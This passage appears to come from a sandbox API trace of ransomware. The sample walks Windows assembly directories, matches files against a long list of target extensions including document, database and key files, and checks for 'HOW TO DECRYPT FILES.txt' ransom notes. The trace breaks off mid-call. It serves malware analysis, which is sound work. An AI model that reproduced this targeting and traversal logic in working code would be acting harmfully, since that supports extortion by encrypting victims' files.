(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.php") returned 0 [0119.499] lstrlenA (lpString="*.php") returned 5 [0119.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.cs") returned 0 [0119.499] lstrlenA (lpString="*.cs") returned 4 [0119.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.cpp") returned 0 [0119.499] lstrlenA (lpString="*.cpp") returned 5 [0119.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.rar") returned 0 [0119.499] lstrlenA (lpString="*.rar") returned 5 [0119.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.zip") returned 0 [0119.499] lstrlenA (lpString="*.zip") returned 5 [0119.499] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.html") returned 0 [0119.500] lstrlenA (lpString="*.html") returned 6 [0119.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.htm") returned 0 [0119.500] lstrlenA (lpString="*.htm") returned 5 [0119.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.xlsx") returned 0 [0119.500] lstrlenA (lpString="*.xlsx") returned 6 [0119.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.xls") returned 0 [0119.500] lstrlenA (lpString="*.xls") returned 5 [0119.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.mp4") returned 0 [0119.500] lstrlenA (lpString="*.mp4") returned 5 [0119.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.ppt") returned 0 [0119.500] lstrlenA (lpString="*.ppt") returned 5 [0119.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.pptx") returned 0 [0119.500] lstrlenA (lpString="*.pptx") returned 6 [0119.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.doc") returned 0 [0119.501] lstrlenA (lpString="*.doc") returned 5 [0119.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.dot") returned 0 [0119.501] lstrlenA (lpString="*.dot") returned 5 [0119.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.docx") returned 0 [0119.501] lstrlenA (lpString="*.docx") returned 6 [0119.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.7z") returned 0 [0119.501] lstrlenA (lpString="*.7z") returned 4 [0119.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.tar") returned 0 [0119.501] lstrlenA (lpString="*.tar") returned 5 [0119.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.bz2") returned 0 [0119.501] lstrlenA (lpString="*.bz2") returned 5 [0119.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.gz") returned 0 [0119.502] lstrlenA (lpString="*.gz") returned 4 [0119.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.mkv") returned 0 [0119.502] lstrlenA (lpString="*.mkv") returned 5 [0119.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.eml") returned 0 [0119.502] lstrlenA (lpString="*.eml") returned 5 [0119.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.msg") returned 0 [0119.502] lstrlenA (lpString="*.msg") returned 5 [0119.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.edb") returned 0 [0119.502] lstrlenA (lpString="*.edb") returned 5 [0119.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.accdb") returned 0 [0119.502] lstrlenA (lpString="*.accdb") returned 7 [0119.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.odb") returned 0 [0119.502] lstrlenA (lpString="*.odb") returned 5 [0119.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.java") returned 0 [0119.502] lstrlenA (lpString="*.java") returned 6 [0119.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.asm") returned 0 [0119.502] lstrlenA (lpString="*.asm") returned 5 [0119.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.pfx") returned 0 [0119.503] lstrlenA (lpString="*.pfx") returned 5 [0119.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.pem") returned 0 [0119.503] lstrlenA (lpString="*.pem") returned 5 [0119.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.p12") returned 0 [0119.503] lstrlenA (lpString="*.p12") returned 5 [0119.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.gpg") returned 0 [0119.503] lstrlenA (lpString="*.gpg") returned 5 [0119.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.vsd") returned 0 [0119.503] lstrlenA (lpString="*.vsd") returned 5 [0119.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.odg") returned 0 [0119.503] lstrlenA (lpString="*.odg") returned 5 [0119.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.raw") returned 0 [0119.503] lstrlenA (lpString="*.raw") returned 5 [0119.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.nef") returned 0 [0119.503] lstrlenA (lpString="*.nef") returned 5 [0119.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.svg") returned 0 [0119.504] lstrlenA (lpString="*.svg") returned 5 [0119.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.psd") returned 0 [0119.504] lstrlenA (lpString="*.psd") returned 5 [0119.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.vmx") returned 0 [0119.505] lstrlenA (lpString="*.vmx") returned 5 [0119.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.vmdk") returned 0 [0119.505] lstrlenA (lpString="*.vmdk") returned 6 [0119.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.vdi") returned 0 [0119.505] lstrlenA (lpString="*.vdi") returned 5 [0119.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.lay6") returned 0 [0119.505] lstrlenA (lpString="*.lay6") returned 6 [0119.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.mpeg") returned 0 [0119.505] lstrlenA (lpString="*.mpeg") returned 6 [0119.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.djvu") returned 0 [0119.505] lstrlenA (lpString="*.djvu") returned 6 [0119.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.tiff") returned 0 [0119.505] lstrlenA (lpString="*.tiff") returned 6 [0119.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.backup") returned 0 [0119.505] lstrlenA (lpString="*.backup") returned 8 [0119.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.pdf") returned 0 [0119.505] lstrlenA (lpString="*.pdf") returned 5 [0119.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.cert") returned 0 [0119.506] lstrlenA (lpString="*.cert") returned 6 [0119.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.docm") returned 0 [0119.506] lstrlenA (lpString="*.docm") returned 6 [0119.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.xlsm") returned 0 [0119.506] lstrlenA (lpString="*.xlsm") returned 6 [0119.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.dwg") returned 0 [0119.506] lstrlenA (lpString="*.dwg") returned 5 [0119.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.nd") returned 0 [0119.506] lstrlenA (lpString="*.nd") returned 4 [0119.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.tlg") returned 0 [0119.506] lstrlenA (lpString="*.tlg") returned 5 [0119.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.lgb") returned 0 [0119.506] lstrlenA (lpString="*.lgb") returned 5 [0119.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.mov") returned 0 [0119.506] lstrlenA (lpString="*.mov") returned 5 [0119.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.xdw") returned 0 [0119.506] lstrlenA (lpString="*.xdw") returned 5 [0119.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.ods") returned 0 [0119.506] lstrlenA (lpString="*.ods") returned 5 [0119.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.wav") returned 0 [0119.507] lstrlenA (lpString="*.wav") returned 5 [0119.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.mp3") returned 0 [0119.507] lstrlenA (lpString="*.mp3") returned 5 [0119.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.aiff") returned 0 [0119.507] lstrlenA (lpString="*.aiff") returned 6 [0119.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.flac") returned 0 [0119.507] lstrlenA (lpString="*.flac") returned 6 [0119.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.m4a") returned 0 [0119.507] lstrlenA (lpString="*.m4a") returned 5 [0119.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll.aux", pszSpec="*.csv") returned 0 [0119.507] lstrlenA (lpString="*.csv") returned 5 [0119.507] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0d6e290, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0d6e290, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0d6e290, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x6c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0119.507] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0119.507] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0d6e290, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0d6e290, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0d6e290, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2cad0e4c5f2c49f7723c62e507d9cd73", cAlternateFileName="2CAD0E~1")) returned 0 [0119.508] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0119.508] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa85c9af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa85c9af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa85c9af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.IO.Cb3b124c8#", cAlternateFileName="SYSTEM~1.CB3")) returned 1 [0119.508] lstrcmpA (lpString1=".", lpString2="System.IO.Cb3b124c8#") returned -1 [0119.508] lstrcmpA (lpString1="..", lpString2="System.IO.Cb3b124c8#") returned -1 [0119.508] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0119.508] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.IO.Cb3b124c8#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#" [0119.509] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#") returned 67 [0119.509] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa85c9af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa85c9af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa85c9af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0119.513] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.513] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa85c9af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa85c9af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa85c9af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.513] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.513] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.513] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa85c9af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa85c9af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa85c9af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1c81703d5a1bd54942d07db3a9b84162", cAlternateFileName="1C8170~1")) returned 1 [0119.513] lstrcmpA (lpString1=".", lpString2="1c81703d5a1bd54942d07db3a9b84162") returned -1 [0119.513] lstrcmpA (lpString1="..", lpString2="1c81703d5a1bd54942d07db3a9b84162") returned -1 [0119.513] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\*.*") returned="*.*" [0119.513] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\", lpString2="1c81703d5a1bd54942d07db3a9b84162" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162" [0119.515] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162") returned 100 [0119.515] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa85c9af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa85c9af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa85c9af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0119.518] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.518] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa85c9af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa85c9af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa85c9af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.518] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.518] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.518] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85c9af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa85c9af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa85c9af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x34200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.IO.Compression.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0119.518] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.518] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IO.Compression.ni.dll") returned -1 [0119.518] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IO.Compression.ni.dll") returned -1 [0119.518] lstrcmpiA (lpString1="", lpString2="System.IO.Compression.ni.dll") returned -1 [0119.519] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\*.*") returned="*.*" [0119.519] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\" [0119.519] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\") returned="" [0119.519] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\HOW TO DECRYPT FILES.txt" [0119.519] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.io.cb3b124c8#\\1c81703d5a1bd54942d07db3a9b84162\\how to decrypt files.txt")) returned 0xffffffff [0119.519] CreateFileA 